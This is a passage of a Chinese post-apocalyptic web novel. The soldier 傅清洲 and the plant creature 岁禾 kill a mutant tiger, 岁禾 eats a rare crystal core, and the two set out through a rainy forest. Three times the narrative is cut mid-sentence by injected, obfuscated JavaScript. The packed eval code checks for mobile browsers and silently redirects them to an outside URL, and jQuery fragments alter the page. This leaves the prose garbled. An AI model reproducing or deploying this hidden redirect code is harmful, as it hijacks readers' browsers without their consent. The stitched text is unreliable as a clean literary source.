这不是岁禾的藤蔓。 岁禾的藤蔓是粉色的。 这个过于泛红了,红到发黑。 傅清洲来不及细想,从腰间摸出枪,对着在剧烈挣扎的七眼异变虎,瞄准它的第七只眼睛。 “砰”的一声。 七眼异变虎应声倒地,来不及挣扎,子弹嵌入眼睛,血迹溅得很远。 看着它彻底倒地,傅清洲松了一口气,脱力一般躺在地上喘息着。等他恢复了些许力气之后,连忙起来朝岁禾所在的地方跑过去。 地面被兽爪拍出一个巨大的坑,岁禾躺在里面一动不动。 傅清洲跳下去,把手探到他鼻子下,感受到人的气息还在,便放下心来。 他把人放到背上,艰难地爬上地面,看到倒下去的七眼异变虎,巨大的身形挡住了去路。 傅清洲正想绕路,便眼尖地看见七眼异变虎头上冒出的黑色菱形。 他顿住脚步,认真看过去。 没看错。 黑色的菱形状。 高级晶核! 傅清洲背着岁禾的手都在发抖。 高级晶核,那是多幸运才能遇到的,要打败多强大的异种才能幻化出的东西。 傅清洲到此为止也只在安全基地的研究室里见过高级晶核。 晶核,分为低级,中级和高级。 低级为白色,中级为绿色,高级是黑色的。 而晶核的作用是给拥有异能的异能者进行吸收,从而提升自己的能力。 傅清洲背着人小心翼翼地走到七眼异变虎的脑袋边上,看着它头顶上的黑色菱形状东西,更加确定了心里的想法。 他把岁禾放到旁边,然后爬上七眼异变虎的尸体,伸手去触碰那黑色的东西。 手心灼热的温度让傅清洲心里止不住地激动。 高级晶核可是好东西。 异能者不能随便吸收,身体会承受不住,甚至会受反噬变成异变人,还有的承受不住会爆体而亡。 研究室至今也没能研究出来,能吸收高级晶核的下限是多少。 没有人敢擅自行动。 在这个末世里,大家想要力量,更想要活着。 没有人知道明天和意外哪一个先到来。 高级晶核不如手掌般大,傅清洲把它握在手心感受了一下灼热的温度,才缓慢把它放进作战服口袋里。 收好东西之后,傅清洲又走到七眼异变虎的尸体边,从它第七只眼睛里拔出自己的匕首,擦干净重新收好。 做完一系列的事情之后,傅清洲重新;绕回岁禾身边,安静地盯着地上的人。 岁禾身上的伤看起来不严重,被巨大的兽掌拍进地里,正常人应该活不下来了,但岁禾却一点事都没有。 傅清洲更加确信了心里的想法。他弯腰,再次把岁禾背起来,往山洞的方向走去。 岁禾绝对是这个末日的关键。 和库里尔留下的那句话一样。 岁禾大概就是库里尔所说的,那个能改变一切的异种。 正因为这样,傅清洲更加坚定了要把岁禾带回安全基地的决心。 两个人重新回到山洞里稍作休息,刚刚的打斗已经耗费了许多力气,看来今天是走不成了。 而且岁禾也还在昏迷中。 这个森林里还有更多不为人知的危险,傅清洲需要岁禾。因为岁禾对这个森林很熟悉,可以带着他一起走出去。 七眼异变虎已经被解决掉了,这个森林里不知道还有没有更加危险的异变种。 能把库里尔杀死的东西……如果还有更加强大的东西,傅清洲更加不确定自己能不能活着回去。 傅清洲站在那堆枯骨旁,缓缓敬了个礼,“库里尔队长,我们已经为你报仇了。你所留下的那些话,我会尽力而为,我也会尝试把他带走。” “希望他如你所言,真的可以拯救这个世界。” 4. 第 4 章 这一觉岁禾睡得格外的舒服。起来的时候还伸了个懒腰。 等他看清楚自己所处的地方时,脑袋里的瞌睡虫瞬间跑光了。他还在这个小山洞,他怎么回来的?不是在和七眼异变虎打架吗?他好像还晕了过去。 那傅清洲呢? 岁禾四处看了一下,这个小山洞里并没有傅清洲的影子。 难道他做了一个很长、很美好的梦吗? 很快,他光着脚踩着湿润的青苔,绕到山洞门口,就瞥见了外面傅清洲的身影。 他松了一口气。 还好,不是做梦。他还有机会离开这里,去看看库里尔曾跟他夸赞的外面的大世界。 天已经亮了,但依旧没有太阳,灰蒙蒙的。 一出山洞门口,水汽扑面而来。 岁禾猜测昨晚应该下了一场大雨。但是他在和七眼异变虎打斗的过程中好像晕了过去,期间发生什么事情他都不知道了。 傅清洲正在附近查看地形。 这个森林里到处都冒着危险的气息,他很需要岁禾的帮助。现在岁禾还在昏迷不醒,他不敢贸然行动。 刚拿着匕首在树皮上划拉了两下,他就听见了清脆的声音。 “粥粥!” 傅清洲嘴角抽了抽。 库里尔是这么教他这么喊人的? 岁禾欢快地跑到他身边,傅清洲上下打量了他一下,有些欲言又止。 森林里很多树,岁禾在最近的树上缠了两根藤蔓,跳上去坐下,“你在干什么?” “随便看看。”傅清洲瞥了一眼他的动作,淡声应着。 反正岁禾看起来没什么事情,而且一个异种,身体素质应该会比普通人还要好一些,他的担心应该是多余的。 岁禾的藤蔓从这棵树绕到另一颗树上,腾出了一个位置给他坐上去,很开心地晃着腿,“我们什么时候离开呀?” 傅清洲收起匕首,微微抬眸去看他,“这么着急,你身上的伤没事了?” 伤? 岁禾懵了一下,随后才缓慢地反应过来。 之前打斗的时候他被七眼异变虎拍到土里面去了,粥粥应该是以为他受伤了。 但其实他并没有。 在兽爪拍过来的瞬间,藤蔓就已经把他裹住了。 他昨天其实是能量消耗太大,睡过去了而已。 但他不好意思跟傅清洲说自己睡过去了,只是挠了挠头,有些别扭地开口:“没事了。” 傅清洲觉得他动作奇怪,又睨了他一眼。 岁禾被他看得有些尴尬,晃动的脚丫子不自觉地蜷缩收紧。 “附近有溪流之类的吗?” 好在傅清洲的注意点并不在他身上,只是睨了他一眼就转移了话题。 他记得昨天打斗的时候,附近是有一条溪河的。但昨天被那只巨大的异变虎用爪子拍得太远了,他晚上背着岁禾走了好久才回到这边。 “有!”岁禾应声从藤蔓跳到地上,“你是饿了要去抓鱼吗?我带你过去呀,我抓鱼很厉害的,库里尔都夸我呢。” 傅清洲跟在他身后没有说话。 岁禾又开启了碎碎念模式,“那边还有很多果子,很甜很好吃的。” “河边还有很多漂亮的小东西,会飞的,我不知道叫什么。” “对了对了,我就是在很远很远的河里把你捞回来的。”岁禾越说越欢乐,越说越停不下来。 但傅清洲一句都没应。 岁禾回过身倒着走,“粥粥。”话里蓄满了委屈的意味。 傅清洲有时候真不明白,岁禾为什么会一点防备都没有,就算两个人昨天才合力击败了一个异变种。 见他不应,岁禾又喊了一声,“粥粥?” “叫名字。”傅清洲实在是忍无可忍。 “这个不是名字吗?”岁禾更加委屈地望着他。 “全名。” 岁禾歪了歪脑袋,“可是库里尔说,这样子喊的话会显得很亲近。我以为我们已经很亲近了。” 傅清洲嘴角抽了抽。 库里尔队长都教他什么了。 “因为你都把衣服给我穿了。”岁禾指了指自己身上的黑色作战服,胸口处还别着傅清洲的名字刺绣。 傅清洲视线顺着他的手指落在他身上,随后看见了他胸口上那个镶着金边的刺绣名牌,上面写着“傅清洲”三个大字。 他愣了一下,觉得有点怪异。 少年脸上好像一直挂着笑,那笑容好像能传染一样,连傅清洲一直沉闷的心情都开始变得愉悦起来。 世界末日对他好像并没有什么影响。 他依旧过着他的生活。 岁禾带他去的是另一处河流,从山洞门口到河边,走了好一段距离。岁禾对这边很熟悉,比傅清洲自己在附近摸索还要快一点。 森林里的河流很是清澈,走到边上还能看见底下的鱼在游来游去的。 岁禾一看见鱼就激动得不行,连衣服都没有脱,整个人就往河里跳,溅起大片水花。 溅起来的水花洒在傅清洲脸上,他下意识闭上眼睛又睁开。就看见岁禾穿着他那套黑色作战服在河里摸鱼。 看完之后,他睁开的眼睛又闭上了。 “粥粥!”岁禾唤他,“快来呀,这里的鱼超级大!比我在另一边捞的鱼还要大!” 傅清洲昨天打架的时候,受了一点伤,他现在只是想洗个澡。从昏迷不醒到现在,昨晚又经历了一番激战,身上实在是黏腻得让人难受。 他脱了衣服就往河里去。水不深,刚刚好没过傅清洲的腰腹。 河里的水很冷,傅清洲作为一个冰系异能者都觉得有点冷。旁边的岁禾却在水里欢乐地捕鱼。 这边的鱼很大,但也不好抓。 岁禾抓了好几次都只摸了一手泥,清澈的河流被他弄得有些浑浊。 这里的鱼跑得很快,岁禾又盯着底下的鱼,找准时机就伸手。 鱼没抓到,跑的时候还给自己拌了一下,整个人往前面摔去。 两个人离得不是很远,岁禾摔的时候给傅清洲砸了一下,然后两个人双双摔进河里。 这一摔,又溅起大片水花。 岁禾呛了几口水,脑袋磕到傅清洲的胸口,疼得呲牙咧嘴的。 傅清洲垫在最底下,屏着呼吸闭上双眼,希望这一切都是个错觉。 “好痛。”岁禾率先爬起,甩了甩脑袋,“粥粥,你跟个石头一样硬。” 傅清洲:“……” 傅清洲缓慢地爬起来,抬手摸了一把脸,把脸上的水抹去,语气冷冰冰的,听起来很凶:“你再乱来,我把你扔了。” 刚摔疼还没缓过来的岁禾又被凶了一下,顿时委屈得不行,“我只是想抓个鱼给你吃。” 傅清洲愣了一下,望着他。 岁禾脸上还有残留的血迹,刚刚摔到水里的那一下,没有给他清洗干净,反而融化加大了面积。 看着他委屈的表情,傅清洲冷硬的心动了动,语气缓和了一些,“过来。” 岁禾的身高有限,没过傅清洲腰腹的水在他这里快到他的胸口处了。 他艰难地走到傅清洲身边,仰着脑袋去看他,“怎么啦?” 傅清洲捧了一把水把他脸上的血迹擦干,然后把他的衣服脱了扔到岸上,认真检查了一下他身上有没有伤口之类的,就开始给他洗了个澡。 化形成人这么久,岁禾从来没洗过澡,被傅清洲搓得皮肤泛红,疼得叫出声,“粥粥!疼!你轻点!你是不是想害我。” 傅清洲面无表情地掐着他的后颈,“闭嘴,不然我真杀了你。” 岁禾很听话地闭嘴了。 洗了个澡之后,岁禾整个人都轻松了不少,很舒服。 但问题是,傅清洲给他的衣服湿了。 他没有衣服穿了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775856|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岁禾拎着那套被傅清洲扔到岸上的黑色作战服,表情有些苦恼,它还在滴着水。 在水里也体会到了,衣服黏在身上很不舒服。 所以他不是很想穿。 刚刚穿好衣服的傅清洲扭头看见他的表情,难得愉悦地勾起唇角,走过去拎着衣服在水里搓了一下,随后把水拧干。 他语气里掩不住的笑意,“光着屁股回去吧。” “啊?”岁禾懵了。 随后他又很快反应过来,扬起一抹笑,“粥粥,你是不是笑了?” 此时傅清洲收了表情,“没有,回去吧。” 走的时候,傅清洲把湿衣服扔过去让他抱着,挡了一些关键部位。他又去河里用异能抓了两条鱼,利用岁禾的藤蔓串起来拎在手上。 回到山洞的时候,茂密的枝叶折射出一点太阳光线。 岁禾莫名的很高兴,穿着傅清洲临时给他套的外套在晒太阳。 植物需要进行光合作用。 他太久没见过阳光了,即使只是零零碎碎的一点,他都能开开心心地跟着阳光转圈圈。 傅清洲在烤鱼,旁边还挂着那套湿漉漉的黑色作战服。 太阳只是出现了一会儿,大概连半个小时都不到就变成了阴天。 岁禾丧气地跑回山洞里,刚进来就闻到一股香味,“好香。” 这种香味很特别,并不是烤鱼散发出来的味道,而是一种清香。 很奇怪的是,岁禾在之前根本没闻到过这种味道。 更奇怪的是…… 岁禾从来不会饿肚子,在闻到这股香味之后,有一种说不出来的饥饿感瞬间涌上来,他的肚子更是配合地跟着“咕噜”了两声。 他耸着鼻子开始绕着山洞寻找香味最浓郁的地方。 很奇怪,他和傅清洲出门的时候并没有闻到这股香味,为什么回来的时候就闻到了。 他怪异的动作引起了傅清洲的关注。 “你在干什么?” 岁禾耸动鼻子,“我闻到了一股香味,粥粥,你没闻到吗?” “烤鱼吧。”傅清洲没放在心上。 岁禾摇头。 这种味道和鱼散发出来的味道不太一样。之前傅清洲烤鱼是一种很香的味道,这个不一样。这个是一种清香,和春天的草地一样。 绕着走了一大圈,岁禾最后停在傅清洲背包旁边,“在这里,我闻到了。” 没等傅清洲回话,他自顾自地翻找着傅清洲的背包,在最里面看见了一个黑色菱形状的水晶。 他盯着那块东西咽了咽口水。 好香。 好饿。 傅清洲皱着眉走到他旁边,“我包里有什么东西是香的?” 随后,他便看见岁禾盯着那块高级晶核使劲咽口水。 他暗道不好,伸手就要拿。 岁禾的动作比他还要快。 那是出自于本能的、不属于岁禾控制的本能,他拿了那块黑色的菱形状晶体就直接放进嘴里。 “咔嚓”一声咬碎咽了下去。 傅清洲看呆了。 岁禾舔了舔唇角,打了个嗝,“好吃,粥粥,有这么好吃的东西你为什么不早点拿出来。这个可比你昨天吃的那个东西好吃多了。” “你……”傅清洲反应过来,还是有些不可置信,“咬碎了?” 岁禾点头。 “咽了?” 岁禾又点头。 傅清洲现在来不及心疼高级晶核没了。 他现在需要冷静。 那个他在研究院里,被各种摔各种砸都不会碎掉的高级晶核,被眼前这个人一咬就碎了。 他就这么把高级晶核吃了? 重点是吃! 晶核不是用来吸收的么? 怎么到他这里一口咬碎就算了。 还好吃。 重点是岁禾说好吃…… 5. 第 5 章 那颗晶核被岁禾吃掉了,这事儿已经超出了傅清洲的理解范围了。 自从末世之后,一些人类幻化出异能对抗异变种,保护那些没有异变的普通人。异变种死后有几率幻化出晶核。 但晶核是供异能者吸收的。而且晶核如同石头一般硬,摔不烂、砸不烂的水晶模样。 就这块硬成铁的黑色水晶,被岁禾一口咬碎咽下去了。 他甚至还有些回味地添了添唇角,双眼亮晶晶地和傅清洲对视,“粥粥,还有吗?” 傅清洲:“……” 上哪给你整去? 见他不说话,岁禾垂下了脑袋,一张秀气的脸皱起来,小心翼翼地去抓他的袖子,“你是不是生气了?我是不是做错了什么?” 他是异种,完全不知道人类的习性会是什么样的,不知道什么话该说什么话不该说。库里尔曾经也没有教过他应该怎么做。 因为库里尔很温柔,所以岁禾觉得所有的人类都像库里尔那样温柔。 可是傅清洲不是。 他在河边还凶了自己。 冷着脸的时候他也有些害怕傅清洲。 “是。”空气里飘来一阵焦味,傅清洲才回过神来,走到火堆旁边给两条鱼翻了个面,继续说:“你把最重要的东西吃了。” 高级晶核,从末世到如今,安全基地里只出现过两三个,全在研究院里面完好无损地放着。 这是异能者出任务时,拼了命带回来的。 很重要的东西,被岁禾一口吞掉了。 “那怎么办?”岁禾连忙跟上他,“我给你吐出来吗?” 傅清洲掀起眼皮去看他。 有时候他挺想把岁禾的脑袋撬开,看看里面到底装的是什么东西。 傅清洲问他:“你咬碎了,吐出来还能完整吗?” 岁禾的表情有一瞬间的呆滞。然后低下头不说话了。 他吃得很香,几乎是下意识就放进嘴里的。那种身体不被掌控的感觉让他觉得新奇又疑惑,他猜测那一块黑色的东西跟自己应该是有什么关联的。 岁禾不太敢惹傅清洲生气,害怕他一生气就不带自己离开了。 他一个人没办法离开这里。 傅清洲很强,在昨天晚上的打斗中他就感觉到了。那种属于强者的气场和库里尔是不一样的。 又过了一会儿,岁禾干巴巴地问:“那……那个东西怎么来的,大不了我赔你一个嘛。” 傅清洲轻笑一声,带着嘲笑的意味。 岁禾这次听懂了,粥粥好像是在嘲笑他的无知。 但他确实不知道有什么用,也不知道那个东西怎么来的。 他只知道,那个东西让他第一次体会到了人类所说的饥饿是什么感觉。他不受控制地拿起那块黑色东西就放进嘴里。 “它真的很香。”岁禾又咂咂嘴,回味了一下那个味道。 记吃不记打可能说的就是岁禾了。 上一秒还在可怜巴巴地说要赔,下一秒又忘了傅清洲还在生气。 但事实上傅清洲已经被他气笑了,把烤好的鱼从火堆上拿下来去逗他,“这个就没你份了。” 岁禾微微睁大了眼睛,很快又落寞起来,委屈巴巴地开口,“知道了。” 这或许是傅清洲惩罚他的方式。 岁禾很听话。 傅清洲其实也不知道为什么要逗他,只是莫名想看他的反应而已。 “逗你的。”傅清洲淡声说着,把鱼递过去给他,“把晶核吃了,也不怕消化不良。” 岁禾眨着眼睛,怕傅清洲反悔一样,把他手里的鱼抢走咬了一大口,含糊开口:“好吃。” 好像什么东西对他都好吃一样。 “晶核是什么?”岁禾又问。 “你刚刚吃的什么?”傅清洲反问他。 岁禾懵懂地点头,“它有什么用啊?对你很重要吗?对不起啊粥粥。我刚刚真的控制不住就放进嘴里了。” 说起来确实奇怪。 岁禾第一次感受这种不受自己控制的感觉,等他反应过来的时候,那块黑色东西就被他咽到肚子里去了。 这也不能怪他是不是? 岁禾一边吃一边想着。 “晶核的作用很大。它可以让异能者变得更强大,从而去保护普通人。晶核分为三种,白色、绿色和黑色,而黑色是最为稀有,最珍贵的。” 岁禾很少听傅清洲一次性说这么多话,听得一愣一愣的,连烤鱼都忘了吃。 他其实听不太懂这些东西。 因为从来没有接触过外面的地方,所以他根本听不懂。 他只听懂了,自己刚刚吃的那个东西,是很珍贵的东西。 起码对他们人类来说是的。 默默地把烤鱼吃完,岁禾又轻声开口:“对不起,我真的不是故意要吃的。” “我只是觉得它很香。” 傅清洲其实也没有怪他什么,一个高级晶核而已。研究院那边甚至没有研究出来异能者能吸收高级晶核的下限是多少。 所以这个东西准而言之,珍贵但也不一定珍贵。 “香?”傅清洲愣了一下。 还是第一次听说有人用“香”这个字来形容一个晶核。他从来没有去留意过,只当它是一块有颜色的水晶而已。 说到这个,岁禾激动地点点头,很自然地坐到他旁边,“很香,淡淡的,就好像是春天里青草混着泥土的气息……我描述不出来,总之就是很香。” 傅清洲吃相没他那么粗鲁,现在才啃完那串烤鱼,慢悠悠地伸手去摸了一下那套架在旁边的黑色作战服。 已经干了。 “把衣服穿上。”他把衣服扯到面前,递给岁禾。 岁禾身上还穿着他的外套,拉链拉起来。因为身高问题,傅清洲的外套刚刚好到岁禾膝盖往上一点。 傅清洲想着,幸好当时出门拿了一件比较长的外套。不然现在岁禾就跟脱光了站在他面前没什么区别了。 虽然说第一次见面的时候该见的都见过了,但傅清洲还是觉得很怪异。 岁禾手上拿着衣服,有一瞬间的懵。 看他的眼神,傅清洲就知道他不会穿。 两个人对视了良久。 傅清洲认命一样重新教他穿衣服。 他不像捡了个少年,倒像是捡了个三岁小孩一样,什么都不会。 潮湿的山洞有些阴冷,旁边还有一架枯骨,普通人过来看见都会觉得毛骨悚然。 偏偏两个都不是正常人,傅清洲到底是个人类,会觉得有些阴冷,坐在火堆旁边擦起了枪。 岁禾是个坐不住的,一会儿闹闹傅清洲,一会儿又蹦蹦跶跶出去逛两圈回来。 中午的时候,又淅淅沥沥下起了雨。 岁禾没办法出去了,又闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775857|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了傅清洲,缠着他问这个问那个的。 傅清洲嫌他烦,威胁道:“再多说一句,我就不带你走了。” 这句话当然是唬他的,但没想到会管用。 岁禾到嘴的话憋回肚子里,在心底暗骂他一句“没人性的家伙”。 他好像只会骂这一句,还是当初库里尔骂他的那一句。 傅清洲看他乖顺下来,很是满意。起身走到库里尔的尸骨旁边,拿起地上那把属于库里尔的枪又回到火堆旁边仔细擦拭起来。 因为是属于库里尔的东西,岁禾看得很认真。 “怎么?你也要看看库里尔队长的遗物?”傅清洲捏着手里的枪,朝他晃了晃。 犹豫了一下,岁禾问:“什么是遗物?” “就是人死后,留在这个世界上最后的东西。” 岁禾眨了眨眼,缓慢地朝他摊开手。 他什么都没说,傅清洲却好像懂了他的意思,检查了一下手里的枪就放到他手上。 时间过去太久了,这把枪已经不能用了。 给岁禾看看的话也没什么关系。 岁禾看着手里的黑色手枪,像是觉得是个多珍贵的东西一样,颤着手轻轻摸了一下。 不知道是不是错觉,傅清洲好像看见岁禾眼眶有些红了。 过了许久,他手里的手枪都有些发热了,岁禾才缓慢开口:“库里尔是救我才死的。我可以救人,但是那天我救不了他。” 傅清洲望着他没有说话。 “库里尔说,我藤蔓里的汁水能让他伤口愈合变快,有治疗的作用。他想带我走,但我们走到森林外围的时候,被很多很多异变种逼回来了,他那时候和异变种交战,受伤很严重。” 岁禾哽咽了一下,“他尝试着第二次带我离开,可是刚出了这个山洞门口,那只七眼异变虎就扑过来了。像昨天晚上扑你那样,把我扑倒在地上。” “那时候我和库里尔都没见过那么大的异变种,也不知道它的弱点是什么。” 岁禾还记得,那天打得很激烈。 库里尔的异能是精神控制,但是他没办法去控制那只巨大的异变虎,甚至会遭到反噬。所以他只能肉搏。 那时候岁禾也不是很会操控自己的藤蔓,被七眼异变虎拍倒在地的时候,差点就被七眼异变虎的连续性攻击杀害。 是库里尔挡住了攻击。 岁禾躲过了,但库里尔当场死亡。岁禾明明知道自己死不掉,但库里尔还是给他挡了伤害。 傅清洲看着他通红的眼眶,犹豫了一下,抬起手轻轻拍了拍他的脑袋。 岁禾眨了眨眼,又去望他,蓄满泪水的双眼变得笑意盈盈,“粥粥,你是不是摸我了?” 只是安慰性地拍了拍他的脑袋而已,也算摸吗? 岁禾吸了吸通红的鼻子,“后来我去找过那只异变虎,跟它打架。它不会杀我,那天起杀心或许是因为有库里尔在。” “我不知道为什么,它好像在刻意阻止我离开这里。” 不止那只异变虎,这个森林里的异变种,好像都在刻意阻止他离开。 “粥粥。异能者是一定要保护普通人吗?”岁禾把黑色手枪递回去给傅清洲,问出了以前库里尔跟他说过的那些话。 傅清洲垂眸看了一眼,轻轻“嗯”了一声。 异能者是百分百要保护普通人,起码在这个末日里,是这样定义的。 6. 第 6 章 这两天的岁禾吃完就睡,睡醒又吃,跟个睡不醒的考拉一样。原先特定的计划也因为岁禾这一反常态而改变。 傅清洲蹲在山洞口擦着枪,外面还在淅淅沥沥下着雨,山洞里面的岁禾也还在睡。 自从和七眼异变虎激战过后,岁禾就仿佛进入了休眠模式一样,每天都睡不醒,连精神气也变得很差,不像一开始那样老是缠着傅清洲了。 但是时间不等人,傅清洲还着急找到路回去,回去看看他的小队队员以及安全基地如何了。 “醒醒。”傅清洲看着雨势渐小,转身回到山洞里头推了一把还在熟睡的岁禾。 在这里和岁禾相处了许久,傅清洲差不多已经摸清了岁禾的性子,软乎乎的一点威胁都没有。说两句凶一点的话还能把他委屈得要自闭起来。 “嗯?”岁禾被他摇晃了许久,才终于从睡梦中醒来,眯着眼神打量他,随后又闭上了,“粥粥,你不要老是打扰我睡觉。” 岁禾发觉自己体内的能量消耗极大,不确定是不是因为自己的根移植给了傅清洲的原因。 又或者是因为和傅清洲合力击杀了那一只巨大的异变虎。 他使用藤蔓需要消耗大量的能量,但那天他明明控制得很好。 傅清洲看着他,“我们该启程了。” 听完这句话,岁禾才缓慢地回过神来。原本在两天前二人就应该离开的,但因为岁禾实在是太困了,和傅清洲撒泼打滚最后才换来了两天的睡觉时间。 岁禾从地上爬起来,抬手揉了揉眼睛,蔫蔫地问:“外面有出太阳吗?” “没有。”傅清洲走到角落开始收拾自己的背包背起来,又扭头看了一眼角落里的那具枯骨,最后还是走过去鞠了个躬。 岁禾学着他的模样也跟着鞠躬,准备启程的时候,岁禾忽然问他:“我可以带一个东西走吗?” “什么?”傅清洲侧头看着他。 他没记错的话,岁禾身上根本没有什么物品可以带走的,就连身上的衣服都是他给岁禾的。 岁禾并未说话,只是从山洞门口里移到枯骨旁边。傅清洲只见他蹲下身体,在那具枯骨身上摸索着,最后扯下一个什么东西放进口袋里。 库里尔的尸体早就变成了枯骨连身上的衣服也有些腐朽了,胸口上镶着金边的刺绣名牌一扯就掉。 那是岁禾遇到的第一个人类,他想带着库里尔的愿望,一起离开这个被雨夜吞噬的森林。 “走吧。”岁禾重新回到傅清洲身边,伸出手牵上他的衣袖。 他以为自己伪装成人类伪装得很好,但其实早就在第一天的时候就已经暴露了。 岁禾学着人类的模样,乖巧地牵上傅清洲的衣袖,轻声道:“手牵着手,才不会走散。” 很久以前库里尔也是这样牵着他一起离开的。画面仿佛重叠了一般,岁禾的另一只手在作战服口袋里握紧了那一小块刺绣名牌。 他一定要出去,一定要去看看库里尔所说的被毁掉的家园,已经最后美好的地方——安全基地。 傅清洲看着他的模样,颓自笑了一声,随后带着他没入雨帘中。 这场雨不知道下了多久,连土地都湿润得不行,岁禾光脚踩在上面,冰冰凉凉的。 傅清洲的袖子被挽了几圈,露出一小截手臂,上面是不太明显的伤痕,不仔细看还看不出来。岁禾牵着他的衣袖,眼神落在他露出的手腕上。 过了一小会儿,他又看向走在前方的傅清洲,确定对方不会注意到自己之后,开始干坏事。 一根细小的藤蔓轻轻缠绕上傅清洲的手腕,连本人都没有发觉。岁禾操控着藤蔓缠上他的手腕,细小的藤蔓长出细细小小的刺,肉眼是看不见的。 岁禾在用藤蔓吸他的血。鲜红的血液一点一点地被吸入藤蔓,最后被岁禾吸收。 他还在观察着傅清洲的表情,如果被对方发现了,他就会立马收起小藤蔓。 傅清洲的血对岁禾来说有点儿香,就像他看见那一块黑色东西的时候一样。但他这一次能控制自己,他不知道为什么,但就是莫名想伸出藤蔓去吸血。 所以他也这么做了。 明明最熟悉这一座森林的是岁禾,带路的确是傅清洲。他走在前面,右手手腕上还带着一点力道,是岁禾在牵着他。 “不应该你带路吗?”傅清洲实在觉得哪里不对劲,扭头看向岁禾,吓得岁禾连忙收回自己的藤蔓。 他无辜地眨着眼睛,吸了一点傅清洲的血,他终于没有那么困顿了,“是吗?” 傅清洲:“……” 二人说着走着,小雨滴打湿了他们的发丝肩膀,连附近都是青草的味道。 傅清洲很久没闻到过这种味道了,末日来临之后,原本繁华的城市变成了废墟,连一株小草都不曾复生。 这样的日子他过了好几年,早就忘记了青草是什么味道。 岁禾似乎感觉到傅清洲的情绪变化,疑惑地望向他,道:“粥粥,你是不是不开心?” “没有。”傅清洲愣了一下,虽然不知道岁禾为什么能看出来他的情绪,但还是否认了。 话一出口,岁禾靠近他,鼻尖耸了耸,嗅出了不一样的味道,“不对呀,你身上都是苦味,明明就是不开心,为什么要否认?库里尔说不开心就要说出来哦。” 他眨着眼睛和傅清洲一本正经地开口。因为傅清洲身上有着属于他的东西,所以他能清楚地知道傅清洲各种各样的情绪。 “嗯。”傅清洲随口应了一下,但也没问出来为什么岁禾能看得出来。 毕竟他是异种,有一点异于常人的天赋也很正常,索性就没有去询问这些问题。 森林里安静得不行,二人走在一条小道上,这并不算得上是小道,杂草丛生,周围还有带刺的植物。 “很久没走了。”岁禾看着这一条熟悉的路,很久很久之前库里尔也是带着他走了这一条路。 这路其实不是一条路,是库里尔带着他踏出来的道路。森林里的植物生命力茂盛,太久没走了,这里又开始繁生出杂草。 就在岁禾发呆的时候,傅清洲手上已经幻化出一把冰剑,对着周围的植物一通砍。 碍人的植物落在地上。 岁禾站在一旁看着自己的同类,有些欲言又止,最后什么都没说。安静地操控藤蔓拨开周围的拦路的植物。 傅清洲挥剑的手愣了一下,扭头和岁禾对视上。 “我……”岁禾笑了笑,“我是植物异能者,怎么说这些也是我的同类,我不忍心看着它们被伤害,这样也可以走的!” 和库里尔刚认识的时候,岁禾并不会操控自己的藤蔓,在和七眼异变虎打斗的时候也什么都不会,一通乱用,还给库里尔添乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岁禾裹紧了他的衣袖,“以前的异种不强吗?” “或许吧。”傅清洲拨开眼前的植物,又说:“末日来了之后,不管是人还是动植物都在进行异变,和异种打斗受伤的人会被感染成更强大的异变种。” “后来白昼越来越短,异种在黑夜里的行动格外的迅速,力量好像也会更强。” “这本就不是利于我们的世界了。” 几年前一场突如其来的大雨伴随着病毒的传播,开始毁掉了这个世界。 岁禾安静地听着,难得没有说出更加奇怪的话题。他知道自己和傅清洲出去会面临着什么样的任务。 伪装人类,习惯人类的习性,这才是他的生存之道。 他绝对不能被人类发现他是异种,不然估计死法很严重。这也是库里尔给他的劝告。 “会好的。”岁禾喉咙发紧,不知道说什么来安慰他。 傅清洲身上的味道实在是太苦了。 没有人愿意亲眼看着自己的家园被毁灭,更不想看见自己无家可归的模样。 就连岁禾一个不通人情的异种也不希望自己的家园被毁灭,也不希望自己的同类被伤害。 更何况是多情的人类呢? 7. 第 7 章 走过了泥泞的小道,拨开眼前的枝叶,视野也变得空阔起来。 雨停了。但二人身上被毛毛细雨淋得湿哒哒的,青草味混着泥土的气息格外的明显,是很自然的味道。 岁禾耸着鼻子闻了一下,表情看起来很满足,像是对这种味道上瘾了一样。 这一片很空阔,连树都没有,只有几棵杂草。傅清洲到处观察了一下,回头问岁禾,“知道到哪了吗?” “还没到。”岁禾在周围看了一眼,“离森林外围还要走很久的路。” 这座森林实在太大了,他当时和库里尔都走了很久才走到外面,最后还是被异变种打了回来。 一想到当时的情况,岁禾还是觉得有些难受,库里尔就是在那时候受伤的,明明在快好的时候,他们即将第二次离开的时候,七眼异变虎就出来了。 “天准备黑了,找个地方休息一下吧。”傅清洲抬起手腕,腕上的通讯器依旧没有信号,岁禾大概率是没有骗他的。 这一块地方很空阔,根本没有能避雨的东西,傅清洲可不想休息的时候突然就被淋了一场大雨。他出门的时候只带了两套衣服,身上穿一套,岁禾身上还有一套。 傅清洲看着这一块地方,还是决定在往前走走。黑夜即将降临,他手上幻化出冰剑,一副随时准备进入战斗的姿态。 